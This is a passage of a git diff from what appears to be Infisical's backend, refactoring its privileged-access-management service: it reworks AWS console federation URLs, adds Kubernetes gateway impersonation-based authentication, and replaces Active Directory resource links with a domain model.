+    secretAccessKey: SecretAccessKey,
+    sessionToken: SessionToken,
+    expiresAt: Expiration ?? new Date(Date.now() + sessionDuration * 1000)
+  };
+};
+
+// Exchanges existing STS credentials for a one-shot AWS console sign-in URL
+export const exchangeCredentialsForConsoleUrl = async (
+  credentials: Pick<TAwsIamSessionCredentials, "accessKeyId" | "secretAccessKey" | "sessionToken">
+): Promise<string> => {
   const sessionJson = JSON.stringify({
-    sessionId: AccessKeyId,
-    sessionKey: SecretAccessKey,
-    sessionToken: SessionToken
+    sessionId: credentials.accessKeyId,
+    sessionKey: credentials.secretAccessKey,
+    sessionToken: credentials.sessionToken
   });
 
   const federationEndpoint = "https://signin.aws.amazon.com/federation";
-
   const signinTokenUrl = `${federationEndpoint}?Action=getSigninToken&Session=${encodeURIComponent(sessionJson)}`;
 
   const tokenResponse = await request.get<{ SigninToken?: string }>(signinTokenUrl);
@@ -236,10 +261,5 @@ export const generateConsoleFederationUrl = async ({
   }
 
   const consoleDestination = `https://console.aws.amazon.com/`;
-  const consoleUrl = `${federationEndpoint}?Action=login&SigninToken=${encodeURIComponent(tokenResponse.data.SigninToken)}&Destination=${encodeURIComponent(consoleDestination)}`;
-
-  return {
-    consoleUrl,
-    expiresAt: Expiration ?? new Date(Date.now() + sessionDuration * 1000)
-  };
+  return `${federationEndpoint}?Action=login&SigninToken=${encodeURIComponent(tokenResponse.data.SigninToken)}&Destination=${encodeURIComponent(consoleDestination)}`;
 };
diff --git a/backend/src/ee/services/pam-resource/aws-iam/aws-iam-resource-schemas.ts b/backend/src/ee/services/pam-resource/aws-iam/aws-iam-resource-schemas.ts
index cc79f17d8c2..8b6f8cfc666 100644
--- a/backend/src/ee/services/pam-resource/aws-iam/aws-iam-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/aws-iam/aws-iam-resource-schemas.ts
@@ -72,7 +72,7 @@ export const UpdateAwsIamAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedAwsIamAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.AwsIam),
+  parentType: z.literal(PamResource.AwsIam),
   credentials: AwsIamAccountCredentialsSchema.pick({
     targetRoleArn: true,
     defaultSessionDuration: true
diff --git a/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-enums.ts b/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-enums.ts
index 21d7da806ce..a846debbe4a 100644
--- a/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-enums.ts
+++ b/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-enums.ts
@@ -1,3 +1,4 @@
 export enum KubernetesAuthMethod {
-  ServiceAccountToken = "service-account-token"
+  ServiceAccountToken = "service-account-token",
+  GatewayKubernetesAuth = "gateway-kubernetes-auth"
 }
diff --git a/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-factory.ts b/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-factory.ts
index d2c50dfc3ae..d58e6e19f08 100644
--- a/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-factory.ts
+++ b/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-factory.ts
@@ -1,8 +1,9 @@
-import axios, { AxiosError } from "axios";
+import { AxiosError } from "axios";
 import https from "https";
 
+import { request } from "@app/lib/config/request";
 import { BadRequestError } from "@app/lib/errors";
-import { GatewayProxyProtocol } from "@app/lib/gateway/types";
+import { GatewayHttpProxyActions, GatewayProxyProtocol } from "@app/lib/gateway/types";
 import { withGatewayV2Proxy } from "@app/lib/gateway-v2/gateway-v2";
 import { logger } from "@app/lib/logger";
 
@@ -71,6 +72,38 @@ export const executeWithGateway = async <T>(
   );
 };
 
+const validateWithGatewayHttp = async <T>(
+  config: {
+    gatewayId: string;
+  },
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">,
+  operation: (baseUrl: string) => Promise<T>
+): Promise<T> => {
+  // For gateway-auth validation, the gateway auto-discovers the K8s API from env vars,
+  // so we use a placeholder host/port. The actual target is resolved by the gateway's
+  // use-k8s-sa handler via KUBERNETES_SERVICE_HOST env var.
+  const platformConnectionDetails = await gatewayV2Service.getPlatformConnectionDetailsByGatewayId({
+    gatewayId: config.gatewayId,
+    targetHost: "kubernetes.default.svc.cluster.local",
+    targetPort: 443
+  });
+  if (!platformConnectionDetails) {
+    throw new BadRequestError({ message: "Unable to connect to gateway, no platform connection details found" });
+  }
+  return withGatewayV2Proxy(
+    async (proxyPort) => {
+      const baseUrl = `http://localhost:${proxyPort}`;
+      return operation(baseUrl);
+    },
+    {
+      protocol: GatewayProxyProtocol.Http,
+      relayHost: platformConnectionDetails.relayHost,
+      gateway: platformConnectionDetails.gateway,
+      relay: platformConnectionDetails.relay
+    }
+  );
+};
+
 export const kubernetesResourceFactory: TPamResourceFactory<
   TKubernetesResourceConnectionDetails,
   TKubernetesAccountCredentials,
@@ -87,7 +120,7 @@ export const kubernetesResourceFactory: TPamResourceFactory<
         async (baseUrl, httpsAgent) => {
           // Validate connection by checking API server version
           try {
-            await axios.get(`${baseUrl}/version`, {
+            await request.get(`${baseUrl}/version`, {
               ...(httpsAgent ? { httpsAgent } : {}),
               signal: AbortSignal.timeout(EXTERNAL_REQUEST_TIMEOUT),
               timeout: EXTERNAL_REQUEST_TIMEOUT
@@ -127,17 +160,19 @@ export const kubernetesResourceFactory: TPamResourceFactory<
     if (!gatewayId) {
       throw new BadRequestError({ message: "Gateway ID is required" });
     }
-    try {
-      await executeWithGateway(
-        { connectionDetails, gatewayId, resourceType },
-        gatewayV2Service,
-        async (baseUrl, httpsAgent) => {
-          const { authMethod } = credentials;
-          if (authMethod === KubernetesAuthMethod.ServiceAccountToken) {
+
+    const { authMethod } = credentials;
+
+    if (authMethod === KubernetesAuthMethod.ServiceAccountToken) {
+      try {
+        await executeWithGateway(
+          { connectionDetails, gatewayId, resourceType },
+          gatewayV2Service,
+          async (baseUrl, httpsAgent) => {
             // Validate service account token using SelfSubjectReview API (whoami)
             // This endpoint doesn't require any special permissions from the service account
             try {
-              await axios.post(
+              await request.post(
                 `${baseUrl}/apis/authentication.k8s.io/v1/selfsubjectreviews`,
                 {
                   apiVersion: "authentication.k8s.io/v1",
@@ -169,22 +204,97 @@ export const kubernetesResourceFactory: TPamResourceFactory<
               }
               throw error;
             }
-          } else {
-            throw new BadRequestError({
-              message: `Unsupported Kubernetes auth method: ${authMethod as string}`
-            });
           }
+        );
+        return credentials;
+      } catch (error) {
+        if (error instanceof BadRequestError) {
+          throw error;
         }
-      );
-      return credentials;
-    } catch (error) {
-      if (error instanceof BadRequestError) {
-        throw error;
+        throw new BadRequestError({
+          message: `Unable to validate account credentials for ${resourceType}: ${(error as Error).message || String(error)}`
+        });
       }
-      throw new BadRequestError({
-        message: `Unable to validate account credentials for ${resourceType}: ${(error as Error).message || String(error)}`
-      });
     }
+
+    if (authMethod === KubernetesAuthMethod.GatewayKubernetesAuth) {
+      // Validate gateway auth by performing an impersonated SelfSubjectReview through the gateway.
+      // The gateway's use-k8s-sa handler injects its own pod token and discovers the K8s API.
+      // We add Impersonate-User header which passes through untouched.
+      // This validates that the gateway has RBAC permission to impersonate the specified SA.
+      // NOTE: It does NOT verify the SA exists — K8s impersonation is a pure permission check.
+      // A non-existent SA passes validation here but fails at session time with 403.
+      try {
+        await validateWithGatewayHttp({ gatewayId }, gatewayV2Service, async (baseUrl) => {
+          const impersonateUser = `system:serviceaccount:${credentials.namespace}:${credentials.serviceAccountName}`;
+          try {
+            await request.post(
+              `${baseUrl}/apis/authentication.k8s.io/v1/selfsubjectreviews`,
+              {
+                apiVersion: "authentication.k8s.io/v1",
+                kind: "SelfSubjectReview"
+              },
+              {
+                headers: {
+                  "Content-Type": "application/json",
+                  "x-infisical-action": GatewayHttpProxyActions.UseGatewayK8sServiceAccount,
+                  "Impersonate-User": impersonateUser
+                },
+                signal: AbortSignal.timeout(EXTERNAL_REQUEST_TIMEOUT),
+                timeout: EXTERNAL_REQUEST_TIMEOUT
+              }
+            );
+
+            logger.info(
+              `[Kubernetes Resource Factory] Gateway K8s auth validation successful [namespace=${credentials.namespace}] [sa=${credentials.serviceAccountName}]`
+            );
+          } catch (error) {
+            if (error instanceof AxiosError) {
+              const errorMessage =
+                (error.response?.data as { message?: string })?.message || error.response?.statusText || error.message;
+
+              if (errorMessage?.includes("failed to read k8s sa auth token")) {
+                throw new BadRequestError({
+                  message:
+                    "Gateway is not running inside a Kubernetes cluster. Gateway auth requires the gateway to be deployed as a pod."
+                });
+              }
+              if (error.response?.status === 403) {
+                if (errorMessage?.includes("impersonate")) {
+                  throw new BadRequestError({
+                    message: `Gateway service account lacks impersonation permissions for service account "${credentials.serviceAccountName}" in namespace "${credentials.namespace}". Ensure the gateway's ClusterRole includes the impersonate verb for this service account.`
+                  });
+                }
+                throw new BadRequestError({
+                  message: `Unable to impersonate service account "${credentials.serviceAccountName}" in namespace "${credentials.namespace}": ${errorMessage}`
+                });
+              }
+              if (error.code === "ECONNABORTED" || error.code === "ERR_CANCELED") {
+                throw new BadRequestError({
+                  message: "Unable to reach the Kubernetes API server through the gateway."
+                });
+              }
+              throw new BadRequestError({
+                message: `Unable to validate gateway auth credentials: ${errorMessage}`
+              });
+            }
+            throw error;
+          }
+        });
+        return credentials;
+      } catch (error) {
+        if (error instanceof BadRequestError) {
+          throw error;
+        }
+        throw new BadRequestError({
+          message: `Unable to validate account credentials for ${resourceType}: ${(error as Error).message || String(error)}`
+        });
+      }
+    }
+
+    throw new BadRequestError({
+      message: `Unsupported Kubernetes auth method: ${authMethod as string}`
+    });
   };
 
   const rotateAccountCredentials: TPamResourceFactoryRotateAccountCredentials<
@@ -215,6 +325,9 @@ export const kubernetesResourceFactory: TPamResourceFactory<
       }
     }
 
+    // Gateway auth has no sensitive fields (namespace and serviceAccountName are identifiers, not secrets),
+    // so no sentinel handling is needed — fall through to return as-is.
+
     return updatedAccountCredentials;
   };
 
diff --git a/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-schemas.ts b/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-schemas.ts
index aa60e91fb45..4e2b8362575 100644
--- a/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/kubernetes/kubernetes-resource-schemas.ts
@@ -36,8 +36,15 @@ export const KubernetesServiceAccountTokenCredentialsSchema = z.object({
   serviceAccountToken: z.string().trim().max(10000)
 });
 
+export const KubernetesGatewayAuthCredentialsSchema = z.object({
+  authMethod: z.literal(KubernetesAuthMethod.GatewayKubernetesAuth),
+  namespace: z.string().trim().min(1).max(63),
+  serviceAccountName: z.string().trim().min(1).max(253)
+});
+
 export const KubernetesAccountCredentialsSchema = z.discriminatedUnion("authMethod", [
-  KubernetesServiceAccountTokenCredentialsSchema
+  KubernetesServiceAccountTokenCredentialsSchema,
+  KubernetesGatewayAuthCredentialsSchema
 ]);
 
 export const KubernetesResourceSchema = BaseKubernetesResourceSchema.extend({
@@ -51,6 +58,11 @@ export const SanitizedKubernetesResourceSchema = BaseKubernetesResourceSchema.ex
     .discriminatedUnion("authMethod", [
       z.object({
         authMethod: z.literal(KubernetesAuthMethod.ServiceAccountToken)
+      }),
+      z.object({
+        authMethod: z.literal(KubernetesAuthMethod.GatewayKubernetesAuth),
+        namespace: z.string(),
+        serviceAccountName: z.string()
       })
     ])
     .nullable()
@@ -81,10 +93,15 @@ export const UpdateKubernetesAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedKubernetesAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.Kubernetes),
+  parentType: z.literal(PamResource.Kubernetes),
   credentials: z.discriminatedUnion("authMethod", [
     z.object({
       authMethod: z.literal(KubernetesAuthMethod.ServiceAccountToken)
+    }),
+    z.object({
+      authMethod: z.literal(KubernetesAuthMethod.GatewayKubernetesAuth),
+      namespace: z.string(),
+      serviceAccountName: z.string()
     })
   ])
 });
diff --git a/backend/src/ee/services/pam-resource/mongodb/mongodb-resource-schemas.ts b/backend/src/ee/services/pam-resource/mongodb/mongodb-resource-schemas.ts
index eb2eea7b8da..dc4f3be59ca 100644
--- a/backend/src/ee/services/pam-resource/mongodb/mongodb-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/mongodb/mongodb-resource-schemas.ts
@@ -117,7 +117,7 @@ export const UpdateMongoDBAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedMongoDBAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.MongoDB),
+  parentType: z.literal(PamResource.MongoDB),
   credentials: MongoDBAccountCredentialsSchema.pick({
     username: true
   })
diff --git a/backend/src/ee/services/pam-resource/mssql/mssql-resource-schemas.ts b/backend/src/ee/services/pam-resource/mssql/mssql-resource-schemas.ts
index d865563b619..b7f15197be0 100644
--- a/backend/src/ee/services/pam-resource/mssql/mssql-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/mssql/mssql-resource-schemas.ts
@@ -64,7 +64,7 @@ export const UpdateMsSQLAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedMsSQLAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.MsSQL),
+  parentType: z.literal(PamResource.MsSQL),
   credentials: MsSQLAccountCredentialsSchema.pick({
     username: true
   })
diff --git a/backend/src/ee/services/pam-resource/mysql/mysql-resource-schemas.ts b/backend/src/ee/services/pam-resource/mysql/mysql-resource-schemas.ts
index 61a88246cda..9f6604c2cc5 100644
--- a/backend/src/ee/services/pam-resource/mysql/mysql-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/mysql/mysql-resource-schemas.ts
@@ -67,7 +67,7 @@ export const UpdateMySQLAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedMySQLAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.MySQL),
+  parentType: z.literal(PamResource.MySQL),
   credentials: MySQLAccountCredentialsSchema.pick({
     username: true
   })
diff --git a/backend/src/ee/services/pam-resource/pam-resource-dal.ts b/backend/src/ee/services/pam-resource/pam-resource-dal.ts
index 6a35aff50c2..8429700c5be 100644
--- a/backend/src/ee/services/pam-resource/pam-resource-dal.ts
+++ b/backend/src/ee/services/pam-resource/pam-resource-dal.ts
@@ -135,16 +135,16 @@ export const pamResourceDALFactory = (db: TDbClient) => {
     return byResourceId;
   };
 
-  const findByAdServerResourceId = async (adServerResourceId: string, tx?: Knex) => {
+  const findByDomainId = async (domainId: string, tx?: Knex) => {
     try {
       const resources = await (tx || db.replicaNode())(TableName.PamResource)
         .select(selectAllTableCols(TableName.PamResource))
-        .where(`${TableName.PamResource}.adServerResourceId`, adServerResourceId)
+        .where(`${TableName.PamResource}.domainId`, domainId)
         .orderBy(`${TableName.PamResource}.name`, "asc");
 
       return resources;
     } catch (error) {
-      throw new DatabaseError({ error, name: "Find PAM resources by AD server resource ID" });
+      throw new DatabaseError({ error, name: "Find PAM resources by domain ID" });
     }
   };
 
@@ -177,7 +177,7 @@ export const pamResourceDALFactory = (db: TDbClient) => {
     findById,
     findByProjectId,
     findMetadataByResourceIds,
-    findByAdServerResourceId,
+    findByDomainId,
     findByGatewayId,
     countByGatewayId
   };
diff --git a/backend/src/ee/services/pam-resource/pam-resource-enums.ts b/backend/src/ee/services/pam-resource/pam-resource-enums.ts
index bb7476b62e8..6fdeb10fb3d 100644
--- a/backend/src/ee/services/pam-resource/pam-resource-enums.ts
+++ b/backend/src/ee/services/pam-resource/pam-resource-enums.ts
@@ -7,8 +7,7 @@ export enum PamResource {
   AwsIam = "aws-iam",
   Redis = "redis",
   MongoDB = "mongodb",
-  Windows = "windows",
-  ActiveDirectory = "active-directory"
+  Windows = "windows"
 }
 
 export enum PamResourceOrderBy {
diff --git a/backend/src/ee/services/pam-resource/pam-resource-factory.ts b/backend/src/ee/services/pam-resource/pam-resource-factory.ts
index 06f9020431c..6cbbbc23aca 100644
--- a/backend/src/ee/services/pam-resource/pam-resource-factory.ts
+++ b/backend/src/ee/services/pam-resource/pam-resource-factory.ts
@@ -1,4 +1,3 @@
-import { activeDirectoryResourceFactory } from "./active-directory/active-directory-resource-factory";
 import { awsIamResourceFactory } from "./aws-iam/aws-iam-resource-factory";
 import { kubernetesResourceFactory } from "./kubernetes/kubernetes-resource-factory";
 import { mongodbResourceFactory } from "./mongodb/mongodb-resource-factory";
@@ -29,6 +28,5 @@ export const PAM_RESOURCE_FACTORY_MAP: Record<PamResource, TPamResourceFactoryIm
   [PamResource.AwsIam]: awsIamResourceFactory as TPamResourceFactoryImplementation,
   [PamResource.Redis]: redisResourceFactory as TPamResourceFactoryImplementation,
   [PamResource.MongoDB]: mongodbResourceFactory as TPamResourceFactoryImplementation,
-  [PamResource.Windows]: windowsResourceFactory as TPamResourceFactoryImplementation,
-  [PamResource.ActiveDirectory]: activeDirectoryResourceFactory as TPamResourceFactoryImplementation
+  [PamResource.Windows]: windowsResourceFactory as TPamResourceFactoryImplementation
 };
diff --git a/backend/src/ee/services/pam-resource/pam-resource-fns.ts b/backend/src/ee/services/pam-resource/pam-resource-fns.ts
index 14025237372..72256ac6239 100644
--- a/backend/src/ee/services/pam-resource/pam-resource-fns.ts
+++ b/backend/src/ee/services/pam-resource/pam-resource-fns.ts
@@ -4,7 +4,6 @@ import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 import { KmsDataKey } from "@app/services/kms/kms-types";
 
 import { decryptAccountCredentials } from "../pam-account/pam-account-fns";
-import { getActiveDirectoryResourceListItem } from "./active-directory/active-directory-resource-fns";
 import { getAwsIamResourceListItem } from "./aws-iam/aws-iam-resource-fns";
 import { getKubernetesResourceListItem } from "./kubernetes/kubernetes-resource-fns";
 import { getMongoDBResourceListItem } from "./mongodb/mongodb-resource-fns";
@@ -26,7 +25,6 @@ export const listResourceOptions = () => {
     getRedisResourceListItem(),
     getMongoDBResourceListItem(),
     getWindowsResourceListItem(),
-    getActiveDirectoryResourceListItem(),
     getSshResourceListItem()
   ].sort((a, b) => a.name.localeCompare(b.name));
 };
@@ -122,9 +120,15 @@ export const decryptResource = async (
   projectId: string,
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">
 ) => {
-  let sessionSummaryConfig: { aiInsightsEnabled: boolean; connectionId: string; model: string } | null = null;
+  const {
+    encryptedConnectionDetails,
+    encryptedRotationAccountCredentials,
+    encryptedResourceMetadata,
+    encryptedSessionSummaryConfig,
+    ...rest
+  } = resource;
 
-  const { encryptedSessionSummaryConfig } = resource;
+  let sessionSummaryConfig: { aiInsightsEnabled: boolean; connectionId: string; model: string } | null = null;
 
   if (encryptedSessionSummaryConfig) {
     try {
@@ -146,15 +150,15 @@ export const decryptResource = async (
   }
 
   return {
-    ...resource,
+    ...rest,
     connectionDetails: await decryptResourceConnectionDetails({
-      encryptedConnectionDetails: resource.encryptedConnectionDetails,
+      encryptedConnectionDetails,
       projectId,
       kmsService
     }),
-    rotationAccountCredentials: resource.encryptedRotationAccountCredentials
+    rotationAccountCredentials: encryptedRotationAccountCredentials
       ? await decryptAccountCredentials({
-          encryptedCredentials: resource.encryptedRotationAccountCredentials,
+          encryptedCredentials: encryptedRotationAccountCredentials,
           projectId,
           kmsService
         })
diff --git a/backend/src/ee/services/pam-resource/pam-resource-schemas.ts b/backend/src/ee/services/pam-resource/pam-resource-schemas.ts
index f41d0b75996..0af9b9ef2c7 100644
--- a/backend/src/ee/services/pam-resource/pam-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/pam-resource-schemas.ts
@@ -1,6 +1,8 @@
 import { z } from "zod";
 
-import { PamAccountsSchema, PamResourcesSchema, ResourceMetadataSchema } from "@app/db/schemas";
+import { PamAccountsSchema, PamDomainsSchema, PamResourcesSchema, ResourceMetadataSchema } from "@app/db/schemas";
+import { PamDomainType } from "@app/ee/services/pam-domain/pam-domain-enums";
+import { PamResource } from "@app/ee/services/pam-resource/pam-resource-enums";
 import { slugSchema } from "@app/server/lib/schemas";
 import { ResourceMetadataNonEncryptionSchema } from "@app/services/resource-metadata/resource-metadata-schema";
 
@@ -36,6 +38,7 @@ export const SessionSummaryConfigSchema = z
 export const BasePamResourceSchema = PamResourcesSchema.omit({
   encryptedConnectionDetails: true,
   encryptedRotationAccountCredentials: true,
+  encryptedResourceMetadata: true,
   encryptedSessionSummaryConfig: true,
   resourceType: true
 }).extend({
@@ -75,16 +78,22 @@ export const BasePamAccountSchema = PamAccountsSchema.omit({
 });
 
 export const BasePamAccountSchemaWithResource = BasePamAccountSchema.extend({
+  parentType: z.union([z.nativeEnum(PamResource), z.nativeEnum(PamDomainType)]),
   resource: PamResourcesSchema.pick({
     id: true,
     name: true,
     resourceType: true
-  }).extend({
-    rotationCredentialsConfigured: z.boolean()
-  }),
+  })
+    .extend({
+      rotationCredentialsConfigured: z.boolean()
+    })
+    .nullable()
+    .optional(),
+  domain: PamDomainsSchema.pick({ id: true, name: true, domainType: true }).nullable().optional(),
   policyName: z.string().nullable().optional(),
   lastRotationMessage: z.string().nullable().optional(),
-  rotationStatus: z.string().nullable().optional()
+  rotationStatus: z.string().nullable().optional(),
+  requireReason: z.boolean().default(false)
 });
 
 export const BaseCreatePamAccountSchema = z.object({
diff --git a/backend/src/ee/services/pam-resource/pam-resource-service.ts b/backend/src/ee/services/pam-resource/pam-resource-service.ts
index ed040baf2c4..ba43eb33e8a 100644
--- a/backend/src/ee/services/pam-resource/pam-resource-service.ts
+++ b/backend/src/ee/services/pam-resource/pam-resource-service.ts
@@ -25,6 +25,7 @@ import { TGatewayV2ServiceFactory } from "../gateway-v2/gateway-v2-service";
 import { TPamAccountDALFactory } from "../pam-account/pam-account-dal";
 import { PamAccountView } from "../pam-account/pam-account-enums";
 import { decryptAccountCredentials, encryptAccountCredentials } from "../pam-account/pam-account-fns";
+import { TPamDomainDALFactory } from "../pam-domain/pam-domain-dal";
 import { TPamResourceDALFactory } from "./pam-resource-dal";
 import { PamResource } from "./pam-resource-enums";
 import { PAM_RESOURCE_FACTORY_MAP } from "./pam-resource-factory";
@@ -39,7 +40,6 @@ import {
 } from "./pam-resource-fns";
 import { TCreateResourceDTO, TListResourcesDTO, TUpdateResourceDTO } from "./pam-resource-types";
 import { TSSHResourceInternalMetadata } from "./ssh/ssh-resource-types";
-import { TWindowsResource } from "./windows-server/windows-server-resource-types";
 
 // Extend this set as more LLM providers are added (e.g. AppConnection.OpenAI)
 const LLM_APP_CONNECTIONS = new Set<AppConnection>([AppConnection.Anthropic]);
@@ -50,7 +50,8 @@ const AI_SUMMARY_SUPPORTED_RESOURCE_TYPES = new Set<PamResource>([PamResource.Po
 type TPamResourceServiceFactoryDep = {
   pamResourceDAL: TPamResourceDALFactory;
   pamResourceFavoriteDAL: TPamResourceFavoriteDALFactory;
-  pamAccountDAL: Pick<TPamAccountDALFactory, "findByProjectIdWithResourceDetails" | "findMetadataByAccountIds">;
+  pamDomainDAL: Pick<TPamDomainDALFactory, "findById">;
+  pamAccountDAL: Pick<TPamAccountDALFactory, "findByProjectIdWithParentDetails" | "findMetadataByAccountIds">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission" | "getOrgPermission">;
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
   gatewayV2Service: Pick<
@@ -66,6 +67,7 @@ export type TPamResourceServiceFactory = ReturnType<typeof pamResourceServiceFac
 export const pamResourceServiceFactory = ({
   pamResourceDAL,
   pamResourceFavoriteDAL,
+  pamDomainDAL,
   pamAccountDAL,
   permissionService,
   kmsService,
@@ -73,6 +75,14 @@ export const pamResourceServiceFactory = ({
   resourceMetadataDAL,
   appConnectionDAL
 }: TPamResourceServiceFactoryDep) => {
+  const assertDomainInProject = async (domainId: string, projectId: string) => {
+    const domain = await pamDomainDAL.findById(domainId);
+    if (!domain) throw new NotFoundError({ message: `Domain with ID '${domainId}' not found` });
+    if (domain.projectId !== projectId) {
+      throw new BadRequestError({ message: "Domain must belong to the same project as the resource" });
+    }
+  };
+
   const getById = async (id: string, resourceType: PamResource, actor: OrgServiceActor) => {
     const resource = await pamResourceDAL.findById(id);
     if (!resource) throw new NotFoundError({ message: `Resource with ID '${id}' not found` });
@@ -101,7 +111,7 @@ export const pamResourceServiceFactory = ({
 
     if (!canReadResources) {
       // Check if user can read at least one account in this resource
-      const { accounts } = await pamAccountDAL.findByProjectIdWithResourceDetails({
+      const { accounts } = await pamAccountDAL.findByProjectIdWithParentDetails({
         projectId: resource.projectId,
         accountView: PamAccountView.Flat,
         filterResourceIds: [id]
@@ -154,7 +164,7 @@ export const pamResourceServiceFactory = ({
       name,
       projectId,
       rotationAccountCredentials,
-      adServerResourceId,
+      domainId,
       metadata
     }: TCreateResourceDTO,
     actor: OrgServiceActor
@@ -177,6 +187,10 @@ export const pamResourceServiceFactory = ({
       })
     );
 
+    if (domainId) {
+      await assertDomainInProject(domainId, projectId);
+    }
+
     const factory = PAM_RESOURCE_FACTORY_MAP[resourceType](
       resourceType,
       connectionDetails,
@@ -192,15 +206,6 @@ export const pamResourceServiceFactory = ({
       kmsService
     });
 
-    if (adServerResourceId) {
-      const adResource = await pamResourceDAL.findById(adServerResourceId);
-      if (!adResource)
-        throw new NotFoundError({ message: `AD Server resource with ID '${adServerResourceId}' not found` });
-      if (adResource.projectId !== projectId) {
-        throw new BadRequestError({ message: "AD Server resource must belong to the same project" });
-      }
-    }
-
     let encryptedRotationAccountCredentials: Buffer | null = null;
 
     if (rotationAccountCredentials) {
@@ -223,7 +228,7 @@ export const pamResourceServiceFactory = ({
             name,
             projectId,
             encryptedRotationAccountCredentials,
-            adServerResourceId: adServerResourceId ?? null
+            domainId: domainId ?? null
           },
           tx
         );
@@ -263,7 +268,7 @@ export const pamResourceServiceFactory = ({
       name,
       rotationAccountCredentials,
       gatewayId,
-      adServerResourceId,
+      domainId,
       metadata,
       sessionSummaryConfig
     }: TUpdateResourceDTO,
@@ -319,16 +324,11 @@ export const pamResourceServiceFactory = ({
       updateDoc.name = name;
     }
 
-    if (adServerResourceId !== undefined) {
-      if (adServerResourceId) {
-        const adResource = await pamResourceDAL.findById(adServerResourceId);
-        if (!adResource)
-          throw new NotFoundError({ message: `AD Server resource with ID '${adServerResourceId}' not found` });
-        if (adResource.projectId !== resource.projectId) {
-          throw new BadRequestError({ message: "AD Server resource must belong to the same project" });
-        }
+    if (domainId !== undefined) {
+      if (domainId) {
+        await assertDomainInProject(domainId, resource.projectId);
       }
-      updateDoc.adServerResourceId = adServerResourceId;
+      updateDoc.domainId = domainId;
     }
 
     if (connectionDetails !== undefined) {
@@ -647,7 +647,7 @@ export const pamResourceServiceFactory = ({
     }
 
     // Fetch all accounts for the project (flat view, no pagination) for permission checking
-    const { accounts: allAccounts } = await pamAccountDAL.findByProjectIdWithResourceDetails({
+    const { accounts: allAccounts } = await pamAccountDAL.findByProjectIdWithParentDetails({
       projectId,
       accountView: PamAccountView.Flat
     });
@@ -666,9 +666,12 @@ export const pamResourceServiceFactory = ({
       Array<{ accountName: string; metadata: Array<{ id: string; key: string; value: string }> }>
     >();
     for (const account of allAccounts) {
-      const existing = accountsByResourceId.get(account.resourceId) || [];
-      existing.push({ accountName: account.name, metadata: accountMetadata[account.id] || [] });
-      accountsByResourceId.set(account.resourceId, existing);
+      if (account.resourceId) {
+        // Skip domain accounts for resource-level permission check
+        const existing = accountsByResourceId.get(account.resourceId) || [];
+        existing.push({ accountName: account.name, metadata: accountMetadata[account.id] || [] });
+        accountsByResourceId.set(account.resourceId, existing);
+      }
     }
 
     // Filter to only resources where the user can read at least one account
@@ -784,41 +787,6 @@ export const pamResourceServiceFactory = ({
     return { caPublicKey };
   };
 
-  const listRelatedResources = async (adServerResourceId: string, actor: OrgServiceActor) => {
-    const resource = await pamResourceDAL.findById(adServerResourceId);
-    if (!resource) throw new NotFoundError({ message: `Resource with ID '${adServerResourceId}' not found` });
-
-    if (resource.resourceType !== PamResource.ActiveDirectory) {
-      throw new BadRequestError({ message: "Related resources can only be listed for Active Directory resources" });
-    }
-
-    const { permission } = await permissionService.getProjectPermission({
-      actor: actor.type,
-      actorAuthMethod: actor.authMethod,
-      actorId: actor.id,
-      actorOrgId: actor.orgId,
-      projectId: resource.projectId,
-      actionProjectType: ActionProjectType.PAM
-    });
-
-    const metadataByResourceId = await pamResourceDAL.findMetadataByResourceIds([adServerResourceId]);
-
-    ForbiddenError.from(permission).throwUnlessCan(
-      ProjectPermissionActions.Read,
-      subject(ProjectPermissionSub.PamResources, {
-        name: resource.name,
-        resourceType: resource.resourceType,
-        metadata: metadataByResourceId[adServerResourceId] || []
-      })
-    );
-
-    const relatedResources = await pamResourceDAL.findByAdServerResourceId(adServerResourceId);
-
-    return Promise.all(
-      relatedResources.map((r) => decryptResource(r, resource.projectId, kmsService) as Promise<TWindowsResource>)
-    );
-  };
-
   const setUserResourceFavorite = async ({
     projectId,
     resourceId,
@@ -875,7 +843,6 @@ export const pamResourceServiceFactory = ({
     list,
     listResourceOptions,
     getOrCreateSshCa,
-    listRelatedResources,
     setUserResourceFavorite
   };
 };
diff --git a/backend/src/ee/services/pam-resource/pam-resource-types.ts b/backend/src/ee/services/pam-resource/pam-resource-types.ts
index 2298c4ab3d7..02f3bbfbd86 100644
--- a/backend/src/ee/services/pam-resource/pam-resource-types.ts
+++ b/backend/src/ee/services/pam-resource/pam-resource-types.ts
@@ -8,12 +8,6 @@ import { ResourceMetadataNonEncryptionSchema } from "@app/services/resource-meta
 
